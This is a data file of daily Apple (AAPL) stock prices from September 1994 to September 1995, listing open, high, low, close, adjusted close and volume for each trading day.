-1994-09-16,1.28125,1.3303571939468384,1.2678571939468384,1.2991071939468384,1.1142218112945557,91036400.0,AAPL
-1994-09-19,1.2991071939468384,1.3125,1.2678571939468384,1.2678571939468384,1.0874196290969849,43587600.0,AAPL
-1994-09-20,1.2544642686843872,1.2633928060531616,1.2276785373687744,1.234375,1.0587025880813599,49313600.0,AAPL
-1994-09-21,1.2321428060531616,1.2366071939468384,1.2053571939468384,1.21875,1.045300841331482,58710400.0,AAPL
-1994-09-22,1.2232142686843872,1.2232142686843872,1.2008928060531616,1.2098214626312256,1.037643313407898,36559600.0,AAPL
-1994-09-23,1.2098214626312256,1.2321428060531616,1.2098214626312256,1.2120535373687744,1.0395574569702148,33219200.0,AAPL
-1994-09-26,1.2098214626312256,1.2321428060531616,1.2008928060531616,1.2120535373687744,1.0395574569702148,35425600.0,AAPL
-1994-09-27,1.2053571939468384,1.21875,1.1919642686843872,1.2098214626312256,1.037643313407898,27272000.0,AAPL
-1994-09-28,1.2142857313156128,1.2276785373687744,1.2008928060531616,1.2098214626312256,1.037643313407898,20316800.0,AAPL
-1994-09-29,1.2053571939468384,1.2276785373687744,1.1919642686843872,1.21875,1.045300841331482,27344800.0,AAPL
-1994-09-30,1.21875,1.2321428060531616,1.2008928060531616,1.203125,1.0318998098373413,17925600.0,AAPL
-1994-10-03,1.2008928060531616,1.2053571939468384,1.1607142686843872,1.1830357313156128,1.0146695375442505,32398800.0,AAPL
-1994-10-04,1.1875,1.2142857313156128,1.1785714626312256,1.2053571939468384,1.0338141918182373,40597200.0,AAPL
-1994-10-05,1.2008928060531616,1.3616071939468384,1.1919642686843872,1.3526785373687744,1.160169005393982,177450000.0,AAPL
-1994-10-06,1.3348214626312256,1.3387277126312256,1.2857142686843872,1.2946428060531616,1.1103928089141846,131728800.0,AAPL
-1994-10-07,1.2901785373687744,1.3236607313156128,1.2678571939468384,1.3214285373687744,1.133366584777832,91098000.0,AAPL
-1994-10-10,1.3258928060531616,1.4151785373687744,1.3214285373687744,1.3883928060531616,1.1908010244369507,130852400.0,AAPL
-1994-10-11,1.4776785373687744,1.4955357313156128,1.40625,1.4151785373687744,1.21377432346344,210576800.0,AAPL
-1994-10-12,1.4151785373687744,1.5223214626312256,1.3973214626312256,1.5044642686843872,1.2903534173965454,149329600.0,AAPL
-1994-10-13,1.5223214626312256,1.53125,1.4508928060531616,1.46875,1.2597215175628662,131325600.0,AAPL
-1994-10-14,1.4821428060531616,1.5,1.4598214626312256,1.46875,1.2597215175628662,44013200.0,AAPL
-1994-10-17,1.4598214626312256,1.4821428060531616,1.3883928060531616,1.4196428060531616,1.2176032066345215,75997600.0,AAPL
-1994-10-18,1.4508928060531616,1.4866071939468384,1.4464285373687744,1.4732142686843872,1.2635507583618164,117171600.0,AAPL
-1994-10-19,1.4642857313156128,1.5044642686843872,1.4642857313156128,1.4732142686843872,1.2635507583618164,87771600.0,AAPL
-1994-10-20,1.4732142686843872,1.4933035373687744,1.4464285373687744,1.4642857313156128,1.2558928728103638,54535600.0,AAPL
-1994-10-21,1.4553571939468384,1.5267857313156128,1.4553571939468384,1.5223214626312256,1.3056689500808716,80676400.0,AAPL
-1994-10-24,1.5267857313156128,1.5401785373687744,1.4955357313156128,1.5089285373687744,1.2941824197769165,51125200.0,AAPL
-1994-10-25,1.4866071939468384,1.5223214626312256,1.4821428060531616,1.5223214626312256,1.3056689500808716,75370400.0,AAPL
-1994-10-26,1.5223214626312256,1.5452009439468384,1.5223214626312256,1.5446428060531616,1.3248136043548584,49193200.0,AAPL
-1994-10-27,1.5446428060531616,1.5625,1.5178571939468384,1.5267857313156128,1.3094980716705322,39852400.0,AAPL
-1994-10-28,1.5133928060531616,1.53125,1.4910714626312256,1.5044642686843872,1.2903534173965454,68331200.0,AAPL
-1994-10-31,1.5,1.5491071939468384,1.4821428060531616,1.5424107313156128,1.3228994607925415,88975600.0,AAPL
-1994-11-01,1.53125,1.5530134439468384,1.5133928060531616,1.5401785373687744,1.3209848403930664,54524400.0,AAPL
-1994-11-02,1.5401785373687744,1.5446428060531616,1.4776785373687744,1.4776785373687744,1.267379641532898,54686800.0,AAPL
-1994-11-03,1.4910714626312256,1.5,1.4642857313156128,1.4821428060531616,1.27120840549469,27630400.0,AAPL
-1994-11-04,1.4821428060531616,1.4866071939468384,1.4285714626312256,1.4419642686843872,1.2367479801177979,48011600.0,AAPL
-1994-11-07,1.4419642686843872,1.4732142686843872,1.4330357313156128,1.4553571939468384,1.2482351064682007,28260400.0,AAPL
-1994-11-08,1.4508928060531616,1.5223214626312256,1.4375,1.5089285373687744,1.2941824197769165,87242400.0,AAPL
-1994-11-09,1.5267857313156128,1.5357142686843872,1.4642857313156128,1.4866071939468384,1.2750377655029297,101584000.0,AAPL
-1994-11-10,1.4910714626312256,1.4955357313156128,1.4642857313156128,1.4754464626312256,1.2654653787612915,38245200.0,AAPL
-1994-11-11,1.4732142686843872,1.4821428060531616,1.4642857313156128,1.46875,1.2597215175628662,15568000.0,AAPL
-1994-11-14,1.4732142686843872,1.5267857313156128,1.4732142686843872,1.5178571939468384,1.301839828491211,34907600.0,AAPL
-1994-11-15,1.5178571939468384,1.5357142686843872,1.4732142686843872,1.4776785373687744,1.267379641532898,41904800.0,AAPL
-1994-11-16,1.4553571939468384,1.484375,1.4508928060531616,1.4620535373687744,1.2539782524108887,46849600.0,AAPL
-1994-11-17,1.4598214626312256,1.4642857313156128,1.4241071939468384,1.4285714626312256,1.2252616882324219,37609600.0,AAPL
-1994-11-18,1.4285714626312256,1.4464285373687744,1.4151785373687744,1.4285714626312256,1.2289520502090454,36758400.0,AAPL
-1994-11-21,1.4285714626312256,1.4375,1.3571428060531616,1.3616071939468384,1.1713448762893677,50649200.0,AAPL
-1994-11-22,1.3482142686843872,1.3973214626312256,1.3303571939468384,1.3348214626312256,1.1483017206192017,56084000.0,AAPL
-1994-11-23,1.3214285373687744,1.3526785373687744,1.2991071939468384,1.3169642686843872,1.1329401731491089,81953200.0,AAPL
-1994-11-25,1.3169642686843872,1.3482142686843872,1.3125,1.3482142686843872,1.1598231792449951,21056000.0,AAPL
-1994-11-28,1.34375,1.3660714626312256,1.3325892686843872,1.3504464626312256,1.1617432832717896,34669600.0,AAPL
-1994-11-29,1.3571428060531616,1.375,1.3482142686843872,1.3660714626312256,1.1751854419708252,36033200.0,AAPL
-1994-11-30,1.3705357313156128,1.40625,1.3214285373687744,1.3303571939468384,1.1444615125656128,78008000.0,AAPL
-1994-12-01,1.3214285373687744,1.34375,1.2857142686843872,1.2924107313156128,1.1118170022964478,77330400.0,AAPL
-1994-12-02,1.3035714626312256,1.3125,1.2723214626312256,1.3058035373687744,1.1233386993408203,43064000.0,AAPL
-1994-12-05,1.3035714626312256,1.3348214626312256,1.2901785373687744,1.328125,1.1425410509109497,45068800.0,AAPL
-1994-12-06,1.3214285373687744,1.3705357313156128,1.3169642686843872,1.3415178060531616,1.1540621519088745,59522400.0,AAPL
-1994-12-07,1.3392857313156128,1.3504464626312256,1.2879464626312256,1.3080357313156128,1.1252591609954834,34325200.0,AAPL
-1994-12-08,1.3169642686843872,1.3214285373687744,1.2767857313156128,1.28125,1.102216362953186,42464800.0,AAPL
-1994-12-09,1.28125,1.2991071939468384,1.2410714626312256,1.2946428060531616,1.11373770236969,65181200.0,AAPL
-1994-12-12,1.2991071939468384,1.3125,1.2678571939468384,1.3035714626312256,1.1214184761047363,56019600.0,AAPL
-1994-12-13,1.3080357313156128,1.3191964626312256,1.2946428060531616,1.2991071939468384,1.1175780296325684,29800400.0,AAPL
-1994-12-14,1.3035714626312256,1.3616071939468384,1.3035714626312256,1.3526785373687744,1.163663387298584,77856800.0,AAPL
-1994-12-15,1.3571428060531616,1.3705357313156128,1.3169642686843872,1.3258928060531616,1.1406211853027344,56898800.0,AAPL
-1994-12-16,1.3303571939468384,1.3482142686843872,1.3125,1.3303571939468384,1.1444615125656128,44945600.0,AAPL
-1994-12-19,1.3303571939468384,1.40625,1.3303571939468384,1.3973214626312256,1.2020684480667114,83204800.0,AAPL
-1994-12-20,1.3973214626312256,1.4017857313156128,1.3705357313156128,1.375,1.182866096496582,43786400.0,AAPL
-1994-12-21,1.3526785373687744,1.375,1.3392857313156128,1.3705357313156128,1.179025650024414,39359600.0,AAPL
-1994-12-22,1.375,1.3883928060531616,1.3660714626312256,1.3794642686843872,1.18670654296875,33269600.0,AAPL
-1994-12-23,1.375,1.40625,1.375,1.3883928060531616,1.194387435913086,23472400.0,AAPL
-1994-12-27,1.4017857313156128,1.4196428060531616,1.3883928060531616,1.3973214626312256,1.2020684480667114,20479200.0,AAPL
-1994-12-28,1.3973214626312256,1.4017857313156128,1.3660714626312256,1.3973214626312256,1.2020684480667114,22290800.0,AAPL
-1994-12-29,1.4017857313156128,1.4241071939468384,1.3973214626312256,1.4107142686843872,1.2135899066925049,30335200.0,AAPL
-1994-12-30,1.40625,1.4241071939468384,1.3839285373687744,1.3928571939468384,1.198227882385254,18272800.0,AAPL
-1995-01-03,1.3883928060531616,1.3883928060531616,1.3526785373687744,1.3705357313156128,1.179025650024414,25967200.0,AAPL
-1995-01-04,1.3794642686843872,1.4151785373687744,1.3794642686843872,1.40625,1.209749460220337,39670400.0,AAPL
-1995-01-05,1.4017857313156128,1.40625,1.3839285373687744,1.3883928060531616,1.194387435913086,18410000.0,AAPL
-1995-01-06,1.4866071939468384,1.5401785373687744,1.46875,1.5,1.2903996706008911,269155600.0,AAPL
-1995-01-09,1.4866071939468384,1.4955357313156128,1.4642857313156128,1.4715402126312256,1.2659167051315308,68521600.0,AAPL
-1995-01-10,1.4732142686843872,1.5714285373687744,1.4732142686843872,1.5602678060531616,1.342246174812317,153697600.0,AAPL
-1995-01-11,1.5625,1.7165178060531616,1.5245535373687744,1.6696428060531616,1.4363374710083008,218456000.0,AAPL
-1995-01-12,1.6473214626312256,1.65625,1.5982142686843872,1.6205357313156128,1.3940924406051636,137944800.0,AAPL
-1995-01-13,1.6473214626312256,1.6473214626312256,1.5848214626312256,1.6026785373687744,1.3787304162979126,87844400.0,AAPL
-1995-01-16,1.6026785373687744,1.6160714626312256,1.5803571939468384,1.5892857313156128,1.3672090768814087,47244400.0,AAPL
-1995-01-17,1.5892857313156128,1.625,1.5758928060531616,1.6071428060531616,1.382570743560791,82527200.0,AAPL
-1995-01-18,1.6071428060531616,1.6294642686843872,1.5982142686843872,1.6294642686843872,1.4017730951309204,31914400.0,AAPL
-1995-01-19,1.625,1.6428571939468384,1.6071428060531616,1.6383928060531616,1.4094544649124146,78573600.0,AAPL
-1995-01-20,1.6785714626312256,1.6785714626312256,1.5178571939468384,1.5223214626312256,1.30960214138031,250090400.0,AAPL
-1995-01-23,1.4955357313156128,1.5223214626312256,1.4642857313156128,1.5089285373687744,1.298080325126648,99635200.0,AAPL
-1995-01-24,1.5089285373687744,1.5133928060531616,1.4776785373687744,1.4866071939468384,1.2788783311843872,54524400.0,AAPL
-1995-01-25,1.4107142686843872,1.5,1.4107142686843872,1.4637277126312256,1.2591956853866577,129267600.0,AAPL
-1995-01-26,1.4598214626312256,1.4821428060531616,1.4017857313156128,1.4107142686843872,1.2135899066925049,61597200.0,AAPL
-1995-01-27,1.4241071939468384,1.4419642686843872,1.3928571939468384,1.4241071939468384,1.2251116037368774,74642400.0,AAPL
-1995-01-30,1.4330357313156128,1.4464285373687744,1.4241071939468384,1.4330357313156128,1.2327923774719238,57646400.0,AAPL
-1995-01-31,1.4464285373687744,1.4598214626312256,1.4285714626312256,1.4419642686843872,1.2404732704162598,53194400.0,AAPL
-1995-02-01,1.4553571939468384,1.4553571939468384,1.4241071939468384,1.4330357313156128,1.2327923774719238,39592000.0,AAPL
-1995-02-02,1.4330357313156128,1.4955357313156128,1.4330357313156128,1.4866071939468384,1.2788783311843872,50895600.0,AAPL
-1995-02-03,1.5,1.5044642686843872,1.4419642686843872,1.4464285373687744,1.2443140745162964,79802800.0,AAPL
-1995-02-06,1.4553571939468384,1.4553571939468384,1.4107142686843872,1.4464285373687744,1.2443140745162964,60757200.0,AAPL
-1995-02-07,1.4419642686843872,1.4642857313156128,1.4285714626312256,1.4575892686843872,1.2539149522781372,50400000.0,AAPL
-1995-02-08,1.4642857313156128,1.5133928060531616,1.4598214626312256,1.5111607313156128,1.300000786781311,100716000.0,AAPL
-1995-02-09,1.5044642686843872,1.5669642686843872,1.5044642686843872,1.5580357313156128,1.3403258323669434,118848800.0,AAPL
-1995-02-10,1.5580357313156128,1.578125,1.5491071939468384,1.5625,1.3441658020019531,87740800.0,AAPL
-1995-02-13,1.5535714626312256,1.5892857313156128,1.5446428060531616,1.5625,1.3478667736053467,70842800.0,AAPL
-1995-02-14,1.5625,1.5758928060531616,1.5223214626312256,1.5334821939468384,1.322834849357605,41403600.0,AAPL
-1995-02-15,1.5446428060531616,1.5535714626312256,1.5178571939468384,1.5200892686843872,1.311281681060791,46118800.0,AAPL
-1995-02-16,1.5401785373687744,1.5446428060531616,1.5223214626312256,1.5424107313156128,1.33053719997406,54695200.0,AAPL
-1995-02-17,1.53125,1.5357142686843872,1.5178571939468384,1.5178571939468384,1.3093563318252563,30447200.0,AAPL
-1995-02-21,1.5223214626312256,1.5267857313156128,1.4598214626312256,1.4642857313156128,1.2631438970565796,75395600.0,AAPL
-1995-02-22,1.4508928060531616,1.4642857313156128,1.4330357313156128,1.4575892686843872,1.2573673725128174,73354400.0,AAPL
-1995-02-23,1.46875,1.4955357313156128,1.4285714626312256,1.4352678060531616,1.2381116151809692,78677200.0,AAPL
-1995-02-24,1.4330357313156128,1.4419642686843872,1.375,1.3928571939468384,1.2015267610549927,142203600.0,AAPL
-1995-02-27,1.3660714626312256,1.3928571939468384,1.3610490560531616,1.3660714626312256,1.1784210205078125,67202800.0,AAPL
-1995-02-28,1.375,1.4241071939468384,1.3571428060531616,1.4107142686843872,1.2169312238693237,55742400.0,AAPL
-1995-03-01,1.4196428060531616,1.4330357313156128,1.4079240560531616,1.4285714626312256,1.2323355674743652,56112000.0,AAPL
-1995-03-02,1.4330357313156128,1.4553571939468384,1.4196428060531616,1.4285714626312256,1.2323355674743652,67186000.0,AAPL
-1995-03-03,1.4196428060531616,1.453125,1.4107142686843872,1.4375,1.2400373220443726,36442000.0,AAPL
-1995-03-06,1.4196428060531616,1.4285714626312256,1.4107142686843872,1.4196428060531616,1.2246332168579102,33180000.0,AAPL
-1995-03-07,1.4241071939468384,1.4241071939468384,1.3660714626312256,1.3683035373687744,1.1803462505340576,37696400.0,AAPL
-1995-03-08,1.3839285373687744,1.4330357313156128,1.3482142686843872,1.4129464626312256,1.218856692314148,91218400.0,AAPL
-1995-03-09,1.4241071939468384,1.4419642686843872,1.40625,1.4196428060531616,1.2246332168579102,49170800.0,AAPL
-1995-03-10,1.4151785373687744,1.4419642686843872,1.40625,1.4107142686843872,1.2169312238693237,34353200.0,AAPL
-1995-03-13,1.4151785373687744,1.4151785373687744,1.3571428060531616,1.3616071939468384,1.1745699644088745,81438000.0,AAPL
-1995-03-14,1.3660714626312256,1.3660714626312256,1.2321428060531616,1.25,1.0782933235168457,181966400.0,AAPL
-1995-03-15,1.2678571939468384,1.2946428060531616,1.2455357313156128,1.25,1.0782933235168457,182742000.0,AAPL
-1995-03-16,1.2589285373687744,1.2857142686843872,1.25,1.2589285373687744,1.0859954357147217,79184000.0,AAPL
-1995-03-17,1.2678571939468384,1.2678571939468384,1.2455357313156128,1.2544642686843872,1.0821446180343628,53911200.0,AAPL
-1995-03-20,1.2544642686843872,1.2723214626312256,1.25,1.2589285373687744,1.0859954357147217,47471200.0,AAPL
-1995-03-21,1.2678571939468384,1.3125,1.2589285373687744,1.2946428060531616,1.116803765296936,76342000.0,AAPL
-1995-03-22,1.2946428060531616,1.4107142686843872,1.2946428060531616,1.359375,1.1726443767547607,119786800.0,AAPL
-1995-03-23,1.3526785373687744,1.3571428060531616,1.3208705186843872,1.3258928060531616,1.143761396408081,42523600.0,AAPL
-1995-03-24,1.3348214626312256,1.3526785373687744,1.3303571939468384,1.3482142686843872,1.163016676902771,32029200.0,AAPL
-1995-03-27,1.34375,1.34375,1.3080357313156128,1.328125,1.1456871032714844,35700000.0,AAPL
-1995-03-28,1.2946428060531616,1.2979910373687744,1.21875,1.2276785373687744,1.0590379238128662,172449200.0,AAPL
-1995-03-29,1.2142857313156128,1.2455357313156128,1.2098214626312256,1.2276785373687744,1.0590379238128662,124219200.0,AAPL
-1995-03-30,1.2366071939468384,1.2678571939468384,1.2321428060531616,1.2633928060531616,1.0898468494415283,68353600.0,AAPL
-1995-03-31,1.2544642686843872,1.2723214626312256,1.2410714626312256,1.2589285373687744,1.0859954357147217,45810800.0,AAPL
-1995-04-03,1.2678571939468384,1.2767857313156128,1.2544642686843872,1.2678571939468384,1.0936979055404663,38575600.0,AAPL
-1995-04-04,1.2767857313156128,1.28125,1.2008928060531616,1.2098214626312256,1.043634057044983,107049600.0,AAPL
-1995-04-05,1.21875,1.2410714626312256,1.2053571939468384,1.2410714626312256,1.0705915689468384,66214400.0,AAPL
-1995-04-06,1.3303571939468384,1.3571428060531616,1.2689732313156128,1.3125,1.1322078704833984,180706400.0,AAPL
-1995-04-07,1.3214285373687744,1.3258928060531616,1.2946428060531616,1.3125,1.1322078704833984,73931200.0,AAPL
-1995-04-10,1.3169642686843872,1.3214285373687744,1.2901785373687744,1.3080357313156128,1.1283570528030396,29450400.0,AAPL
-1995-04-11,1.3125,1.3526785373687744,1.3080357313156128,1.3482142686843872,1.163016676902771,53628400.0,AAPL
-1995-04-12,1.3660714626312256,1.4151785373687744,1.3348214626312256,1.3928571939468384,1.2015267610549927,118678000.0,AAPL
-1995-04-13,1.4017857313156128,1.4017857313156128,1.3526785373687744,1.3660714626312256,1.1784210205078125,43590400.0,AAPL
-1995-04-17,1.3616071939468384,1.40625,1.3526785373687744,1.3705357313156128,1.182271957397461,52203200.0,AAPL
-1995-04-18,1.375,1.3794642686843872,1.3392857313156128,1.3392857313156128,1.155314564704895,57783600.0,AAPL
-1995-04-19,1.3392857313156128,1.3392857313156128,1.2723214626312256,1.2991071939468384,1.1206549406051636,69857200.0,AAPL
-1995-04-20,1.3258928060531616,1.375,1.3080357313156128,1.34375,1.1591655015945435,82376000.0,AAPL
-1995-04-21,1.3303571939468384,1.4107142686843872,1.3258928060531616,1.3973214626312256,1.2053780555725098,166656000.0,AAPL
-1995-04-24,1.3928571939468384,1.4151785373687744,1.375,1.3928571939468384,1.2015267610549927,68059600.0,AAPL
-1995-04-25,1.3973214626312256,1.40625,1.3303571939468384,1.3482142686843872,1.163016676902771,68409600.0,AAPL
-1995-04-26,1.34375,1.3839285373687744,1.3348214626312256,1.3660714626312256,1.1784210205078125,57610000.0,AAPL
-1995-04-27,1.375,1.375,1.3482142686843872,1.3526785373687744,1.1668674945831299,34966400.0,AAPL
-1995-04-28,1.3571428060531616,1.3705357313156128,1.3392857313156128,1.3660714626312256,1.1784210205078125,48829200.0,AAPL
-1995-05-01,1.3660714626312256,1.3839285373687744,1.3571428060531616,1.3660714626312256,1.1784210205078125,44489200.0,AAPL
-1995-05-02,1.3660714626312256,1.3705357313156128,1.3392857313156128,1.3616071939468384,1.1745699644088745,30002000.0,AAPL
-1995-05-03,1.3660714626312256,1.3794642686843872,1.3571428060531616,1.3616071939468384,1.1745699644088745,42196000.0,AAPL
-1995-05-04,1.3660714626312256,1.4241071939468384,1.3571428060531616,1.375,1.1861228942871094,75910800.0,AAPL
-1995-05-05,1.3839285373687744,1.3973214626312256,1.3616071939468384,1.3883928060531616,1.1976758241653442,52001600.0,AAPL
-1995-05-08,1.4241071939468384,1.4642857313156128,1.4196428060531616,1.4464285373687744,1.2477397918701172,96742800.0,AAPL
-1995-05-09,1.4508928060531616,1.4776785373687744,1.4285714626312256,1.4732142686843872,1.270845890045166,80732400.0,AAPL
-1995-05-10,1.4821428060531616,1.4955357313156128,1.4553571939468384,1.4799107313156128,1.2766220569610596,68768000.0,AAPL
-1995-05-11,1.4866071939468384,1.4866071939468384,1.4419642686843872,1.4642857313156128,1.2631438970565796,130905600.0,AAPL
-1995-05-12,1.4598214626312256,1.5602678060531616,1.4464285373687744,1.5580357313156128,1.3440157175064087,161988400.0,AAPL
-1995-05-15,1.5401785373687744,1.5625,1.5178571939468384,1.5580357313156128,1.3440157175064087,98338800.0,AAPL
-1995-05-16,1.5401785373687744,1.5848214626312256,1.5178571939468384,1.5625,1.3478667736053467,83129200.0,AAPL
-1995-05-17,1.5625,1.5848214626312256,1.5535714626312256,1.5714285373687744,1.3555688858032227,65786000.0,AAPL
-1995-05-18,1.5758928060531616,1.5758928060531616,1.5446428060531616,1.5491071939468384,1.3363137245178223,92892800.0,AAPL
-1995-05-19,1.53125,1.5625,1.5223214626312256,1.5267857313156128,1.3170586824417114,80648400.0,AAPL
-1995-05-22,1.5178571939468384,1.5758928060531616,1.5089285373687744,1.5758928060531616,1.3594200611114502,92971200.0,AAPL
-1995-05-23,1.5758928060531616,1.5848214626312256,1.5535714626312256,1.5669642686843872,1.3517175912857056,69165600.0,AAPL
-1995-05-24,1.5625,1.5803571939468384,1.53125,1.5535714626312256,1.3401650190353394,66166800.0,AAPL
-1995-05-25,1.5446428060531616,1.5714285373687744,1.5357142686843872,1.5491071939468384,1.3363137245178223,45715600.0,AAPL
-1995-05-26,1.5357142686843872,1.5401785373687744,1.5089285373687744,1.5245535373687744,1.318785309791565,28638400.0,AAPL
-1995-05-30,1.5223214626312256,1.53125,1.4821428060531616,1.5,1.2975454330444336,49095200.0,AAPL
-1995-05-31,1.5044642686843872,1.5044642686843872,1.4642857313156128,1.484375,1.2840290069580078,39883200.0,AAPL
-1995-06-01,1.4955357313156128,1.5178571939468384,1.4910714626312256,1.5066964626312256,1.3033384084701538,46681600.0,AAPL
-1995-06-02,1.4955357313156128,1.5133928060531616,1.4821428060531616,1.5044642686843872,1.301406979560852,26423600.0,AAPL
-1995-06-05,1.5133928060531616,1.5535714626312256,1.5044642686843872,1.5535714626312256,1.343886375427246,63663600.0,AAPL
-1995-06-06,1.5580357313156128,1.5848214626312256,1.5535714626312256,1.5714285373687744,1.3593332767486572,78817200.0,AAPL
-1995-06-07,1.5758928060531616,1.5758928060531616,1.5401785373687744,1.5401785373687744,1.332301139831543,31130400.0,AAPL
-1995-06-08,1.5491071939468384,1.5491071939468384,1.5044642686843872,1.5334821939468384,1.3265087604522705,34034000.0,AAPL
-1995-06-09,1.5580357313156128,1.5625,1.5401785373687744,1.5535714626312256,1.343886375427246,46656400.0,AAPL
-1995-06-12,1.5714285373687744,1.5892857313156128,1.5669642686843872,1.5775669813156128,1.3646430969238281,53029200.0,AAPL
-1995-06-13,1.5892857313156128,1.59375,1.5669642686843872,1.5714285373687744,1.3593332767486572,31486000.0,AAPL
-1995-06-14,1.5669642686843872,1.5669642686843872,1.5491071939468384,1.5580357313156128,1.3477482795715332,29512000.0,AAPL
-1995-06-15,1.5580357313156128,1.5625,1.5491071939468384,1.5580357313156128,1.3477482795715332,23189600.0,AAPL
-1995-06-16,1.5669642686843872,1.5714285373687744,1.5535714626312256,1.5669642686843872,1.3554717302322388,22302000.0,AAPL
-1995-06-19,1.5669642686843872,1.6160714626312256,1.5535714626312256,1.5848214626312256,1.3709185123443604,117384400.0,AAPL
-1995-06-20,1.6428571939468384,1.7053571939468384,1.6428571939468384,1.6919642686843872,1.4636003971099854,184632000.0,AAPL
-1995-06-21,1.7008928060531616,1.7901785373687744,1.6696428060531616,1.7633928060531616,1.525388479232788,156503200.0,AAPL
-1995-06-22,1.75,1.7723214626312256,1.7366071939468384,1.7544642686843872,1.517665147781372,118479200.0,AAPL
-1995-06-23,1.7410714626312256,1.75,1.7053571939468384,1.7410714626312256,1.5060797929763794,57990800.0,AAPL
-1995-06-26,1.7232142686843872,1.7321428060531616,1.7008928060531616,1.71875,1.4867706298828125,38194800.0,AAPL
-1995-06-27,1.6919642686843872,1.7232142686843872,1.65625,1.65625,1.4327064752578735,54275200.0,AAPL
-1995-06-28,1.6428571939468384,1.6964285373687744,1.6205357313156128,1.6651785373687744,1.4404301643371582,66589600.0,AAPL
-1995-06-29,1.65625,1.71875,1.6428571939468384,1.6875,1.4597387313842773,58139200.0,AAPL
-1995-06-30,1.6875,1.7098214626312256,1.6473214626312256,1.6584821939468384,1.4346373081207275,41372800.0,AAPL
-1995-07-03,1.6607142686843872,1.6830357313156128,1.6517857313156128,1.6763392686843872,1.4500844478607178,9847600.0,AAPL
-1995-07-05,1.6741071939468384,1.7098214626312256,1.6607142686843872,1.6607142686843872,1.4365681409835815,44265200.0,AAPL
-1995-07-06,1.6607142686843872,1.6785714626312256,1.6339285373687744,1.6785714626312256,1.4520152807235718,46023600.0,AAPL
-1995-07-07,1.6741071939468384,1.7589285373687744,1.6696428060531616,1.7366071939468384,1.5022177696228027,96779200.0,AAPL
-1995-07-10,1.7366071939468384,1.78125,1.71875,1.7366071939468384,1.5022177696228027,74482800.0,AAPL
-1995-07-11,1.7053571939468384,1.7366071939468384,1.6808035373687744,1.6830357313156128,1.4558770656585693,53673200.0,AAPL
-1995-07-12,1.6875,1.7142857313156128,1.6473214626312256,1.6785714626312256,1.4520152807235718,70952000.0,AAPL
-1995-07-13,1.6919642686843872,1.7410714626312256,1.6830357313156128,1.7008928060531616,1.47132408618927,88082400.0,AAPL
-1995-07-14,1.6919642686843872,1.75,1.6785714626312256,1.7410714626312256,1.5060797929763794,69482000.0,AAPL
-1995-07-17,1.7455357313156128,1.7767857313156128,1.7366071939468384,1.75,1.513803243637085,56540400.0,AAPL
-1995-07-18,1.75,1.7700892686843872,1.7053571939468384,1.71875,1.4867706298828125,63658000.0,AAPL
-1995-07-19,1.6785714626312256,1.7142857313156128,1.6071428060531616,1.625,1.4056743383407593,130258800.0,AAPL
-1995-07-20,1.6428571939468384,1.6919642686843872,1.6071428060531616,1.6808035373687744,1.4539462327957153,82818400.0,AAPL
-1995-07-21,1.5357142686843872,1.6026785373687744,1.5357142686843872,1.5625,1.351609706878662,189470400.0,AAPL
-1995-07-24,1.5714285373687744,1.625,1.5625,1.6205357313156128,1.4018126726150513,53656400.0,AAPL
-1995-07-25,1.6428571939468384,1.65625,1.6294642686843872,1.6339285373687744,1.4133981466293335,65881200.0,AAPL
-1995-07-26,1.6517857313156128,1.6517857313156128,1.6205357313156128,1.6205357313156128,1.4018126726150513,42862400.0,AAPL
-1995-07-27,1.625,1.6964285373687744,1.625,1.671875,1.4462226629257202,81295200.0,AAPL
-1995-07-28,1.6696428060531616,1.6875,1.6071428060531616,1.625,1.4056743383407593,65234400.0,AAPL
-1995-07-31,1.625,1.6294642686843872,1.5982142686843872,1.6071428060531616,1.3902275562286377,39631200.0,AAPL
-1995-08-01,1.6026785373687744,1.6026785373687744,1.5535714626312256,1.5535714626312256,1.343886375427246,52729600.0,AAPL
-1995-08-02,1.5669642686843872,1.6071428060531616,1.5625,1.5848214626312256,1.3709185123443604,68782000.0,AAPL
-1995-08-03,1.5758928060531616,1.6294642686843872,1.5669642686843872,1.6071428060531616,1.3902275562286377,53482800.0,AAPL
-1995-08-04,1.6071428060531616,1.6116071939468384,1.5625,1.5803571939468384,1.367057204246521,48078800.0,AAPL
-1995-08-07,1.5758928060531616,1.59375,1.5401785373687744,1.5491071939468384,1.3400248289108276,48440000.0,AAPL
-1995-08-08,1.5580357313156128,1.5625,1.5133928060531616,1.5178571939468384,1.3129924535751343,58648800.0,AAPL
-1995-08-09,1.5223214626312256,1.5625,1.5178571939468384,1.5401785373687744,1.332301139831543,92254400.0,AAPL
-1995-08-10,1.5401785373687744,1.5446428060531616,1.5223214626312256,1.5267857313156128,1.3207157850265503,41006000.0,AAPL
-1995-08-11,1.53125,1.5401785373687744,1.4955357313156128,1.5379464626312256,1.3303704261779785,51732800.0,AAPL
-1995-08-14,1.5357142686843872,1.5625,1.53125,1.5491071939468384,1.3400248289108276,41851600.0,AAPL
-1995-08-15,1.5669642686843872,1.5758928060531616,1.5401785373687744,1.5736607313156128,1.3612641096115112,79466800.0,AAPL
-1995-08-16,1.5714285373687744,1.5892857313156128,1.5580357313156128,1.5892857313156128,1.3785384893417358,73158400.0,AAPL
-1995-08-17,1.59375,1.625,1.5758928060531616,1.59375,1.3824106454849243,61723200.0,AAPL
-1995-08-18,1.6026785373687744,1.6116071939468384,1.5625,1.6026785373687744,1.3901554346084595,60289600.0,AAPL
-1995-08-21,1.6026785373687744,1.6205357313156128,1.5758928060531616,1.5758928060531616,1.3669217824935913,67944800.0,AAPL
-1995-08-22,1.5848214626312256,1.6116071939468384,1.5758928060531616,1.5982142686843872,1.386283040046692,54261200.0,AAPL
-1995-08-23,1.6026785373687744,1.6383928060531616,1.59375,1.625,1.4095170497894287,63450800.0,AAPL
-1995-08-24,1.6294642686843872,1.6517857313156128,1.625,1.6339285373687744,1.4172616004943848,71982400.0,AAPL
-1995-08-25,1.6383928060531616,1.6383928060531616,1.59375,1.5982142686843872,1.386283040046692,33586000.0,AAPL
-1995-08-28,1.6026785373687744,1.6071428060531616,1.5357142686843872,1.5357142686843872,1.3320709466934204,60760000.0,AAPL
-1995-08-29,1.5357142686843872,1.5446428060531616,1.5178571939468384,1.5401785373687744,1.3359432220458984,79265200.0,AAPL
-1995-08-30,1.5446428060531616,1.5625,1.5401785373687744,1.5491071939468384,1.343687891960144,38368400.0,AAPL
-1995-08-31,1.5491071939468384,1.5535714626312256,1.5357142686843872,1.5357142686843872,1.3320709466934204,21966000.0,AAPL
-1995-09-01,1.5357142686843872,1.5535714626312256,1.53125,1.5334821939468384,1.3301348686218262,24595200.0,AAPL
-1995-09-05,1.5535714626312256,1.5535714626312256,1.5267857313156128,1.5535714626312256,1.347560167312622,44993200.0,AAPL
